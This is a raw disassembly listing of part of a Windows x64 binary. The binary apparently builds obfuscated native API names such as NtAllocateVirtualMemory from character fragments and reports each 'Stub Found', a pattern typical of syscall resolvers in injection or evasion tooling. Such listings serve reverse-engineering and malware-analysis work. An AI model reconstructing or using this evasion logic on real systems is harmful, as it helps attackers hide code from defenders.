mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e60]
lea r8, [0x1400c35af]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e40]
lea r8, [0x1400c35b1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x1400c35b5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x1400c35b7]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x2d60]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2e60]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2e80]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2f00]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2f70]
mov rcx, qword [rbp + 0x5350]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x14000590e
lea rbx, [0x1400c358b]
jmp 0x140005915
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x315f]
lea rax, [rbp + 0x3130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x1400c35b9]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x1400c35af]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x1400c35b1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x2f90]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3160]
mov rcx, qword [rbp + 0x5348]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140005c51
lea rbx, [0x1400c358b]
jmp 0x140005c58
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x342f]
lea rax, [rbp + 0x3400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x1400c35bd]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x1400c35bf]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x1400c35c3]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x1400c35c5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x1400c35c7]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x1400c35c9]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x3180]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3430]
mov rcx, qword [rbp + 0x5340]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x1400060c8
lea rbx, [0x1400c358b]
jmp 0x1400060cf
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x377f]
lea rax, [rbp + 0x3750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x1400c35cb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x36b0]
lea rdx, [rbp + 0x36d0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3690]
lea rdx, [rbp + 0x36b0]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3670]
lea rdx, [rbp + 0x3690]
lea r8, [0x1400c35cd]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3650]
lea rdx, [rbp + 0x3670]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3630]
lea rdx, [rbp + 0x3650]
lea r8, [0x1400c35cf]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3610]
lea rdx, [rbp + 0x3630]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x1400c35ab]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x1400c3577]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x3450]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3630]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3650]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3670]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3690]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x36b0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3780]
mov rcx, qword [rbp + 0x5338]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x1400065ef
lea rbx, [0x1400c358b]
jmp 0x1400065f6
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x3a0f]
lea rax, [rbp + 0x39e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x1400c35b9]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x1400c35b3]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3920]
lea rdx, [rbp + 0x3940]
lea r8, [0x1400c357d]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3900]
lea rdx, [rbp + 0x3920]
lea r8, [0x1400c357f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x38e0]
lea rdx, [rbp + 0x3900]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x38c0]
lea rdx, [rbp + 0x38e0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x38a0]
lea rdx, [rbp + 0x38c0]
lea r8, [0x1400c3583]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3880]
lea rdx, [rbp + 0x38a0]
lea r8, [0x1400c3579]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3860]
lea rdx, [rbp + 0x3880]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3840]
lea rdx, [rbp + 0x3860]
lea r8, [0x1400c3585]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3820]
lea rdx, [rbp + 0x3840]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3800]
lea rdx, [rbp + 0x3820]
lea r8, [0x1400c3587]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x1400c3581]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x1400c3589]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x37a0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3820]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3840]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3860]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3880]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x38a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x38c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x38e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3900]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3920]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3a10]
mov rcx, qword [rbp + 0x5330]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140006a0e
lea rbx, [0x1400c358b]
jmp 0x140006a15
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x3b1f]
lea rax, [rbp + 0x3af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x1400c35ad]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x1400c3573]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x1400c3575]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x1400c35bb]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab700
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.1400ab6c0
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.140073670
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400aab10
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3b20]
mov rcx, qword [rbp + 0x5328]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400ab6c0
cmp dword [rbp + 0x529c], 0
je 0x140006c1d
lea rbx, [0x1400c358b]
jmp 0x140006c24
lea rbx, [0x1400c3590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030e40
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.140073640
lea rdx, [rbp + 0x3cef]
lea rax, [rbp + 0x3cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aafa0
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x1400c356f]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x1400c35c5]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x1400c35d1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x1400c357b]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x1400c35c1]
mov rcx, rax
call fcn.1400bbb20
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x1400c35ab]
mov rcx, rax
call fcn.1400bbb20
